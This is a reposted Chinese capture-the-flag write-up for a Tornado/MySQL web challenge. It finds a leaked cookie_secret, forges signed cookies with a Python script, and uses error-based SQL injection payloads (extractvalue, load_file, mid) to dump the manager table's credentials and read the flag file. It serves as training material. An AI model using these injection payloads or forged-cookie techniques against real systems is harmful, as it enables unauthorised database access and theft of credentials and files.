i春秋CTF-“百度杯”CTF比赛 九月场 XSS平台

人走茶凉 提交于 2019-12-05 11:42:28

“百度杯“CTF比赛 九月场

###XSS平台

  看了别人的wp才知道这里需要变数组引起报错然后百度信息收集,这一步在实战中我觉得是很有作用的,get到。

 

 

 

 

 

这里取百度rtiny,看别人wp上说这里是因为前面的目录很正常,这个rtiny看起来有问题,就去百度。。

百度第一栏直接拿下源码,接下来就是代码审计。这几天做题老是遇到pythonweb框架的服务器,所以直接去康啦康教程

这里直接推荐一篇文章 http://shouce.jb51.net/tornado/

 

代码审计 这里因为之前就看了别人的wp 所以我知道问题出现在lock.py里面哈哈哈

 

 

 

 

Username 和passwd都没坐什么过滤 直接带入数据库查询

 

 

 

 

这是定义的ct

组合起来语句就是

Select * from manager where username='' and password=''

Username来自cookie 但是cookie被加密过

Tornado的set_secure_cookie()get_secure_cookie()函数发送和取得浏览器的cookies,以防范浏览器中的恶意修改。为了使用这些函数,你必须在应用的构造函数中指定cookie_secret参数。

 

Tornado将cookie值编码为Base-64字符串,并添加了一个时间戳和一个cookie内容的HMAC签名。如果cookie的时间戳太旧(或来自未来),或签名和期望值不匹配,get_secure_cookie()函数会认为cookie已经被篡改,并返回None,就好像cookie从没设置过一样。

传递给Application构造函数的cookie_secret值应该是唯一的随机字符串。在Python shell下执行下面的代码片段将产生一个你自己的值:

>>> import base64, uuid

>>> base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes)

'bZJc2sWbQLKos6GkHn/VB9oXwQt8S0R0kRvJ5/xJ89E='

然而,Tornado的安全cookies仍然容易被窃听。攻击者可能会通过脚本或浏览器插件截获cookies,或者干脆窃听未加密的网络数据。记住cookie值是签名的而不是加密的。恶意程序能够读取已存储的cookies,并且可以传输他们的数据到任意服务器,或者通过发送没有修改的数据给应用伪造请求。因此,避免在浏览器cookie中存储敏感的用户数据是非常重要的。

我们还需要注意用户可能修改他自己的cookies的可能性,这会导致提权攻击。比如,如果我们在cookie中存储了用户已付费的文章剩余的浏览数,我们希望防止用户自己更新其中的数值来获取免费的内容。httponly和secure属性可以帮助我们防范这种攻击。

 

在index.py里面有那一段参数

"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="

拿来加密我们构造的cookie

脚本

import tornado.webimport tornado.ioloopsettings={    "cookie_secret":"M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="}class IndexHandler(tornado.web.RequestHandler):    def get(self):        self.write("helloword")        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")        self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")        self.write(self.get_secure_cookie("username"))if __name__ == "__main__":    app=tornado.web.Application(        [            (r"/",IndexHandler),        ],**settings    )    app.listen(8000)    tornado.ioloop.IOLoop.current().start()

 

这里 burp抓包一定要先抓取访问题目页面 ,再去把login改为lock才会返回报错,我实在不理解是为什么,暂时理解为是login.py 页面本身可以引起报错,所以这里才会使用报错注入,或者是从login页面进去带了几个参数

 

 

 

 

接下来就跑列名 有三列 账号密码和邮箱

注意中间有长度限制 拿字段的时候要用到mid()分割

self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")

单然也可以一列一列的跑这里我是参照别人的脚本的语句 但是都是报错注入

拿到

ichuqiu|318a61264482e503090facfc4337207f|545

账号 ichuqiu

密码 拿去MD5 解密得到 Myxss623

登陆进去 再输入一次密码 得到后台

看到文件提示

 

 

 

 

 

目录猜测应该联想之前报错  

 

 

目录在

/var/www/html/

报错的目录的上级目录 //我只能说信息收集太重要了

 接下来用load_file拿到答案 当然也有长度限制 也用mid()

 

 

 

flag{774e6d00-3b97-46a3-99ea-b44805ba3b27}

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!